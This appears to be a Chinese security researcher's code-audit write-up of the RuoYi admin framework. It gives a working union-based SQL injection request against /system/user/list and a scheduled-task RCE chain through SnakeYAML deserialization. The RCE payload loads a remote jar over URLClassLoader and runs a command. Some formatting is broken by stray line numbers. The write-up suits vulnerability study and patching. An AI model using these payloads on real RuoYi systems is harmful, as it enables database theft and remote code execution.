Ruoyi系统代码审计
Mybatis sql注入 <=4.6.1
- 漏洞成因:在mybatis中,
#进行预编译,$是直接拼接,会导致sql注入出现
寻找漏洞点
application.yaml配置了mybatis的sql配置在各模块的mapper下
直接遍历所有模块的mapper,查看特征是否有
$-
- src/main/resources/mapper/system/SysRoleMapper.xml
src/main/resources/mapper/system/SysUserMapper.xml



注入
select型注入,直接拿了个src/main/resources/mapper/system/SysUserMapper.xml的selectUserList进行注入
查找调用链,最终找到地址
/system/user/list,并且对传入的params数组并没有做任何的过滤,查询有回显,可以直接使用union注入就好了:1
2
3
4
5
6
7
8
9
10//反找mapper->impl->service->controller
com.ruoyi.system.mapper.SysUserMapper#selectUserList-->; //mapper
com.ruoyi.system.service.ISysUserService#selectUserList-->; //service
com.ruoyi.web.controller.system.SysUserController#list-->; //找到目标controller
public TableDataInfo list(SysUser user)
{
startPage();
List<SysUser> list = userService.selectUserList(user);
return getDataTable(list);
}
payload编写
poc:
1
pageSize=10&pageNum=1&orderByColumn=createTime&isAsc=desc&deptId=&parentId=&loginName=-1&phonenumber=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=¶ms%5BdataScope%5D=union select (select database()),2,3,4,5,6,7,8,9,10,11,12,13,14,"2023-02-28 14:36:50",16,"2023-02-28 14:36:50",18,19,20
注入的点是params.dataScope,对应的15,17号位置是Date类型,且格式是
@Excel(name = "最后登录时间", width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss", type = Type.EXPORT):
结果:有前端类型验证,但还是爆出来了,或者用其他的字段

后台RCE <4.6.2
定时任务调度流程
- Ruoyi:https://www.cnblogs.com/liutiaotiao/p/14078223.html
- 漏洞参考链接:http://myblog.ac.cn/archives/%E8%8B%A5%E4%BE%9D%E5%90%8E%E5%8F%B0rce%E5%88%B0snakeyaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96
漏洞分析
payload:
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:8989/yaml-payload.jar"]]]]')public class AwesomeScriptEngineFactory implements ScriptEngineFactory { public AwesomeScriptEngineFactory() { try { Runtime.getRuntime().exec("calc"); // Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator"); } catch (IOException e) { e.printStackTrace(); } } ... } //创建classpath:META-INF/services/javax.script.ScriptEngineFactory //写入:artsploit.AwesomeScriptEngineFactory1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1. 漏洞点,首先按照上面开发流程分析的过程,找到定时任务流程的起点`Job.execute()`方法,一直调用到invokeMethod,或者也能通过写入错误的类爆出异常,调用栈的信息看到关键函数。
<img src="./若依系统代码审计/image-20230228203222784.png" alt="image-20230228203222784" />
2. 调用链:
```java
//rce漏洞成因分析,如果是bean容器中的名字就直接获取bean,反射调用方法;否则实例化全类名对应的对象,反射调用方法
com.ruoyi.quartz.util.JobInvokeUtil#invokeMethod(com.ruoyi.quartz.domain.SysJob)-->;
if (!isValidClassName(beanName))
//判断是否是bean容器中的
{
Object bean = SpringUtils.getBean(beanName);
invokeMethod(bean, methodName, methodParams);
}
else //如果不是,是全类名的话,利用Class反射加载类,有两个条件:1)类有无参构造器、2)public
{
Object bean = Class.forName(beanName).newInstance();
invokeMethod(bean, methodName, methodParams);
}
//snakeyaml漏洞成因分析,通过反射生成构造器,通过递归的方式生成成员属性,最后进行实例化return c.newInstance(argumentListx);
org.yaml.snakeyaml.Yaml#load(java.lang.String)-->;
org.yaml.snakeyaml.Yaml#loadFromReader-->;
org.yaml.snakeyaml.constructor.BaseConstructor#getSingleData-->;
org.yaml.snakeyaml.constructor.BaseConstructor#constructDocument-->;
org.yaml.snakeyaml.constructor.BaseConstructor#constructObject-->;
org.yaml.snakeyaml.constructor.BaseConstructor#constructObjectNoCheck-->;
org.yaml.snakeyaml.constructor.Construct#construct-->;
org.yaml.snakeyaml.constructor.Construct#construct-->;

反序列化完之后,没有出现预期的效果,说明是在
javax.script.ScriptEngineManager的newInstance进行构造的过程中触发的RCE。SPI机制
全称为 Service Provider Interface,是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类。
服务查找,匹配,并实例化
snakeyaml和ScriptEngineManager的漏洞链

总结
1 | 1. ruoyi框架Quartz层面调用的invokeMethod调用目标字符串通过反射进行实例化 |